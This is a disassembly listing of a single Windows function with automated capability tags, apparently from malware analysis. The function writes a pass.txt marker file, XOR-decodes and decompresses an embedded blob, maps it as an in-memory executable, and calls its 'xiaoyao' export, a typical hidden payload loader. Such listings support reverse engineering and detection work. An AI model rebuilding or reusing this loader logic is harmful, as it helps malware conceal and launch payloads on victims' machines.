Function at 0x4012d0
Capabilities:
Compress data via winapi
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402cc1
mov eax, dword fs:[0]
push eax
sub esp, 0x264
mov eax, dword [0x405040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 0x2e
lea eax, [ebp - 0x210]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push str.pass.txt
lea eax, [ebp - 0x210]
push 0xff
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
add esp, 0xc
lea ecx, [ebp - 0x230]
xorps xmm0, xmm0
movups xmmword [ebp - 0x230], xmm0
movq qword [ebp - 0x220], xmm0
call dword [0x403134]
push 0
push 0x1001
lea eax, [ebp - 0x210]
mov dword [ebp - 4], 0
push eax
lea ecx, [ebp - 0x230]
call dword [sym.imp.mfc140u.dll_CStdioFile::Open]
push str.20211215
lea ecx, [ebp - 0x230]
call dword [sym.imp.mfc140u.dll_CStdioFile::WriteString]
lea ecx, [ebp - 0x230]
call dword [sym.imp.mfc140u.dll_CStdioFile::Close]
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen_s]
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
push 0x4032bc
lea eax, [ebp - 0x210]
mov dword [ebp - 0x214], 0
push eax
lea eax, [ebp - 0x214]
push eax
call edi
add esp, 0xc
test eax, eax
jne 0x4013ea
nop dword [eax + eax]
lea eax, [ebp - 0x218]
push eax
push 0x4032c0
push dword [ebp - 0x214]
call fcn.00401060
add esp, 0xc
cmp eax, 0xffffffff
jne 0x4013c0
push dword [ebp - 0x214]
call esi
add esp, 4
mov eax, dword [ebp - 0x218]
test eax, eax
je 0x401392
mov ecx, dword [0x4050b4]
xor edi, edi
mov dword [ebp - 0x264], eax
mov esi, edi
mov eax, 0xaaaaaaab
mov dword [ebp - 0x24c], 8
mul ecx
mov dword [ebp - 0x248], 1
shr edx, 1
mov dword [ebp - 0x244], 8
mov dword [ebp - 0x240], 0
mov dword [ebp - 0x270], 0x86
mov dword [ebp - 0x26c], 0x68
mov dword [ebp - 0x268], 0x66
mov dword [ebp - 0x260], 1
mov dword [ebp - 0x25c], 3
mov dword [ebp - 0x258], 5
mov dword [ebp - 0x254], 7
mov dword [ebp - 0x250], 9
mov dword [ebp - 0x234], ecx
je 0x4014b8
nop dword [eax]
xor ecx, ecx
cmp edi, 9
cmovne ecx, edi
mov al, byte [ebp + ecx*4 - 0x270]
lea edi, [ecx + 1]
xor byte [esi + 0x4050bc], al
inc esi
cmp esi, edx
jb 0x401490
mov eax, dword [0x4050b4]
mov dword [ebp - 0x234], eax
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x23c], eax
test eax, eax
je 0x401566
push str.RtlDecompressBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, 0x1000
mov dword [ebp - 0x238], eax
push edi
mov dword [ebp - 0x214], 0
call dword [sym.imp.mfc140u.dll_operator]
mov esi, eax
add esp, 4
test esi, esi
je 0x40155a
push edi
push 0
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
push dword [ebp - 0x234]
push 0x4050bc
push edi
push esi
push 2
call dword [ebp - 0x238]
mov eax, dword [ebp - 0x214]
cmp edi, eax
jae 0x40155a
test esi, esi
je 0x401548
push esi
call dword [sym.imp.mfc140u.dll_operator_1]
mov eax, dword [ebp - 0x214]
add esp, 4
push eax
mov edi, eax
call dword [sym.imp.mfc140u.dll_operator]
mov esi, eax
add esp, 4
test esi, esi
jne 0x401502
push dword [ebp - 0x23c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
movzx eax, byte [0x4050b8]
xor edx, edx
mov edi, 0x5f
mov esi, dword [0x4050b4]
div edi
mov ecx, 0x4050bc
add dl, 0x58
movsx eax, dl
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm1, xmm0, 0
test esi, esi
je 0x401611
cmp esi, 0x40
jb 0x4015f8
mov edi, esi
and edi, 0xffffffc0
nop dword [eax + eax]
movups xmm0, xmmword [ecx]
add eax, 0x40
xorps xmm0, xmm1
paddb xmm0, xmm1
movups xmmword [ecx], xmm0
movups xmm0, xmmword [ecx + 0x10]
xorps xmm0, xmm1
paddb xmm0, xmm1
movups xmmword [ecx + 0x10], xmm0
movups xmm0, xmmword [ecx + 0x20]
xorps xmm0, xmm1
paddb xmm0, xmm1
movups xmmword [ecx + 0x20], xmm0
movups xmm0, xmmword [ecx + 0x30]
xorps xmm0, xmm1
paddb xmm0, xmm1
movups xmmword [ecx + 0x30], xmm0
add ecx, 0x40
cmp eax, edi
jb 0x4015b0
cmp eax, esi
jae 0x401611
sub esi, eax
nop word [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
xor al, dl
add al, dl
mov byte [ecx - 1], al
sub esi, 1
jne 0x401600
mov edx, dword [0x4050b4]
lea eax, [ebp - 0x24c]
push eax
neg edx
mov ecx, 0x4050bc
call fcn.004010d0
sub esp, 8
mov ecx, 0x4050bc
call fcn.004018f0
add esp, 0xc
mov dword [ebp - 0x23c], eax
mov edi, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x238], ecx
cmp dword [edi + 0x7c], 0
je 0x4016ba
mov edi, dword [edi + 0x78]
add edi, ecx
mov edx, dword [edi + 0x18]
test edx, edx
je 0x4016ba
cmp dword [edi + 0x14], 0
je 0x4016ba
mov esi, dword [edi + 0x20]
mov eax, dword [edi + 0x24]
add esi, ecx
add eax, ecx
mov dword [ebp - 0x234], 0
mov dword [ebp - 0x214], eax
test edx, edx
je 0x4016ba
mov eax, dword [esi]
add eax, ecx
push eax
push str.xiaoyao
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
add esp, 8
test eax, eax
je 0x4016f8
mov eax, dword [ebp - 0x234]
add esi, 4
add dword [ebp - 0x214], 2
inc eax
mov ecx, dword [ebp - 0x238]
mov dword [ebp - 0x234], eax
cmp eax, dword [edi + 0x18]
jb 0x401681
push 0x7f
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
call eax
mov ecx, dword [ebp - 0x23c]
call fcn.00401d40
lea ecx, [ebp - 0x230]
call dword [sym.imp.mfc140u.dll_CStdioFile::CStdioFile]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00401ea6
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x214]
movzx ecx, word [eax]
cmp ecx, dword [edi + 0x14]
ja 0x4016ba
mov eax, dword [edi + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [ebp - 0x238]
mov eax, dword [eax + ecx]
add eax, ecx
jmp 0x4016c4